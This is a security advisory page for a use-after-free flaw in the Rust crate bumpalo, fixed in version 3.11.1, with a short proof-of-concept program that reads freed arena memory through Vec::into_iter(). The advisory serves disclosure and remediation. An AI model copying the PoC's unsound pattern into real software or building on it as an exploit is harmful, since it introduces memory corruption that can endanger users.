Use After Free Affecting bumpalo package, versions >=1.1.0 <3.11.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Use After Free vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUST-BUMPALO-3244396
  • published22 Jan 2023
  • disclosed20 Jan 2023
  • creditUnknown

Introduced: 20 Jan 2023

CVE NOT AVAILABLE CWE-416  (opens in a new tab)

How to fix?

Upgrade bumpalo to version 3.11.1 or higher.

Overview

bumpalo is a bump allocation arena for Rust.

Affected versions of this package are vulnerable to Use After Free due to a lifetime error in Vec::into_iter().

PoC

use bumpalo::{collections::Vec, Bump};

fn main() {
    let bump = Bump::new();
    let mut vec = Vec::new_in(&bump);
    vec.extend([0x01u8; 32]);
    let into_iter = vec.into_iter();
    drop(bump);

    for _ in 0..100 {
        let reuse_bump = Bump::new();
        let _reuse_alloc = reuse_bump.alloc([0x41u8; 10]);
    }

    for x in into_iter {
        print!("0x{:02x} ", x);
    }
    println!();
}

CVSS Scores

version 3.1